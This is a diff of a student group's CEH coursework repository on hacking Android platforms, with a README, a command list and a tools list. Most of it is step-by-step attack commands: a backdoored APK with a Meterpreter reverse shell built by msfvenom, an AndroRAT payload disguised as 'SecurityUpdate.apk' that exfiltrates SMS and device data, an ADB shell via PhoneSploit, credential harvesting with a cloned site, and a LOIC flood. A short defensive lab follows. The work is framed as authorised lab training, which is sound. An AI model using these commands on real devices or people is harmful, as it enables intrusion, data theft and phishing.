Group11 - Module17 Project Submission

Module17_MobileSecurity/README.md

@@ -1 +1,95 @@
-# Module17_MobileSecurity\n\n## Instructions\n\nEach group assigned this module must create a folder like this:\n\n- GroupXX/\n  - CEH_ModuleXX_Report_GroupXX.docx\n  - screenshots/\n  - commands.txt\n  - tools-used.txt\n\n📌 Deadline: 15 May 2025\n📌 Submit via Pull Request ONLY\n\nInstructor: Mr. Abdullah Bin Zarshaid\nCourse: CY201 – Spring 2025
+Overview
+This repository contains the complete documentation and lab work for Module 17: Hacking Mobile Platforms, part of the CEH v12 program. Our group conducted ethical hacking simulations on Android platforms, exploring both attack vectors and defensive strategies.
+
+Group Information
+Group Members:
+Muhammad Shaheem (Student ID: 2023507)
+Shayan Siddique (Student ID: 2023656)
+Zulqamain Umar (Student ID: 2023556)
+
+Course Details:
+Course: CY201 - Cyber Security Principles and Concepts
+Instructor: Mr. Abdullah Bin Zarshaid
+Submission Date: 14 May 2025
+
+Module Objectives
+The module covered both offensive and defensive aspects of mobile security:
+Offensive Techniques:
+  Creating and deploying malicious APKs using tools like msfvenom and AndroRAT
+  Exploiting Android devices through ADB using PhoneSploit
+  Conducting social engineering attacks with SET
+  Performing DoS attacks with LOIC
+Defensive Strategies:
+  Analyzing APKs for vulnerabilities using SISIK analyzer
+  Detecting malware with Malwarebytes
+  Monitoring network traffic using Wireshark
+
+Detailed Lab Work
+Lab 01: Attack Simulations
+  Task 1: Binary Payload with Metasploit
+    We created a backdoored APK and established Meterpreter session using these commands:
+      msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.3 LPORT=4444 -o Backdoor.apk
+      use exploit/multi/handler
+      set payload android/meterpreter/reverse_tcp
+      set LHOST 192.168.10.3
+      set LPORT 4444
+      exploit -j -z
+
+  Task 2: Social Engineering with SET
+    We cloned a hotel booking site to harvest credentials using:
+    setoolkit
+      Selected credential harvester attack method
+      Configured with IP 10.10.1.13 and cloned http://certifiedhacker.com/Online%20Booking/index.htm
+
+  Task 3: DoS Attack with LOIC
+    We performed a TCP flood attack on target 10.0.2.15 port 80 with 100 threads, monitored using Wireshark.
+
+  Task 4: ADB Exploitation with PhoneSploit
+    We gained shell access to an Android device using:
+      python3 phonesploitpro.py
+      Connected to target device IP 10.10.1.14
+      Accessed shell and executed commands like ls, cd, and ran apps remotely.
+
+  Task 5: APK Backdoor with AndroRAT
+    We created a malicious APK and established remote control:
+      python3 androRAT.py --build -i 10.10.1.13 -p 4444 -o SecurityUpdate.apk
+      python3 androRAT.py --shell -i 0.0.0.0 -p 4444
+      Exfiltrated SMS, MAC address, and device info.
+
+Lab 02: Defense and Analysis
+  Task 1: APK Analysis with SISIK
+    Analyzed communicationstage.apk revealing:
+      Min SDK: API 10 (Android 2.3.3)
+      Target SDK: API 17 (Android 4.2)
+      Version: 1.0
+
+  Task 2: Malware Detection with Malwarebytes
+    Scanned device detecting:  
+      LOIC_v1.3.apk as suspicious
+      Protection score: 32/100 (Poor)
+
+-> Key Findings and Lessons
+  Critical Vulnerabilities Identified:
+    Outdated Android OS versions without security patches
+    Exposed ADB ports allowing unauthorized access
+    Effectiveness of social engineering attacks
+    Risks of sideloading APKs from untrusted sources
+  Defensive Recommendations:
+    Regular OS and security updates
+    Disabling "Unknown Sources" for APK installation
+    Network monitoring for unusual traffic
+    User education about phishing risks
+  Ethical Considerations
+    All tests were conducted in a controlled lab environment with proper authorization. These techniques should only be used for legitimate security testing     purposes with explicit permission.
+
+->Repository Structure
+  The repository contains:
+    Complete lab report PDF with detailed methodologies
+    Screenshots documenting our processes and results
+    Command references for all lab tasks
+    This README file summarizing our work
+  How to Use This Repository
+    Review the full report for comprehensive understanding
+    Refer to command references for technical details
+    Note all activities must be conducted ethically and legally
+    Never execute these techniques without proper authorization

Module17_MobileSecurity/commands.txt

@@ -0,0 +1,104 @@
+--- Lab 01 ---
+
+-- Task 1 - Hacking via Binary Payload using Metasploit --
+
+1. Payload Creation:
+msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.3 LPORT=4444 -o /root/Desktop/Backdoor.apk
+
+2. Web Server Setup:
+mkdir /var/www/html/share
+chmod -R 777 /var/www/html/share
+chown -R www-data:www-data /var/www/html/share
+service apache2 start
+scp /root/Desktop/Backdoor.apk /var/www/html/share
+
+3. Metasploit Listener:
+use exploit/multi/handler
+set payload android/meterpreter/reverse_tcp
+set LHOST 192.168.10.3
+set LPORT 4444
+exploit -j -z
+
+4. Post-Exploitation Commands:
+sysinfo
+cd /sdcard
+ps
+
+-- Task 2 - Social Engineering using SET --
+
+1. Launching SET:
+setoolkit
+
+2. Menu Navigation:
+Social-Engineering Attacks (Option 1)
+Website Attack Vectors (Option 2)
+Credential Harvester Attack Method (Option 3)
+Site Cloner (Option 2)
+
+3. Configuring the Attack:
+IP for POST back: 10.10.1.13
+URL to Clone: http://certifiedhacker.com/Online%20Booking/index.htm
+
+-- Task 3 - Launching a DoS Attack using LOIC --
+
+1. LOIC Setup (GUI-Based):
+Enter target URL/IP: http://10.0.2.15
+Port: 80
+Threads: 100
+Protocol: TCP
+
+2. Monitoring Traffic (Wireshark):
+wireshark
+
+-- Task 4 - Exploiting Android via ADB using PhoneSploit -- 
+
+1. Launching PhoneSploit:
+python3 phonesploitpro.py
+
+2. Connecting to Target Device:
+Enter selection > 1
+Enter target phone's IP Address > 10.10.1.14
+
+3. Key Actions:
+Shell Access (Option 14):
+ls
+cd /sdcard/Download
+
+Screenshot Capture (Option 6)
+List Installed Apps (Option 13)
+Run App Remotely (Option 10):
+com.android.calculator2
+
+-- Task 5 - Hacking via APK using AndroRAT --
+
+1. Payload Generation:
+python3 androRAT.py --build -i 10.10.1.13 -p 4444 -o SecurityUpdate.apk
+
+2. Web Server Setup:
+mkdir /var/www/html/share
+chmod -R 755 /var/www/html/share
+chown -R www-data:www-data /var/www/html/share
+service apache2 start
+
+3. Listener Activation:
+python3 androRAT.py --shell -i 0.0.0.0 -p 4444
+
+4. Post-Exploitation Commands:
+getSMS inbox
+getMACAddress
+deviceInfo
+
+--- Lab 02 ---
+
+-- Task 1 - APK Analysis using SISIK Online APK Analyzer --
+
+Procedure:
+Upload communicationstage.apk to SISIK Online APK Analyzer
+Review output (min SDK, target SDK, permissions)
+
+-- Task 2 - Securing Android with Malwarebytes --
+
+1. Scan Execution (GUI):
+Open Malwarebytes
+Navigate to Scanner → Run Scan
+Review threats (e.g., LOIC_v1.3.apk)

Module17_MobileSecurity/tools.txt

@@ -0,0 +1,12 @@
+1. Wireshark – Used to analyze the packets sent by the Attacker OS. 
+2. MalwareBytes Security– Used to scan the device for potential threats. 
+3. Sixo Online APK Analyzer – Used to analyze the APK file for its source code, app 
+details and digital signatures. 
+4.  AndroRat – Used backdoor with auto-start persistence & device data exfiltration. 
+5. PhoneSploit - Used exposed ADB on Android devices for remote command 
+execution. 
+6. LOIC - Used to perform DoS/DDoS attacks by flooding a target with TCP/UDP 
+packets. 
+7. Social-Engineer Toolkit (SET) - Used to launch social engineering attacks via email. 
+8. Metasploit – Used to hack an Android device by creating Binary Payloads using 
+Parrot Security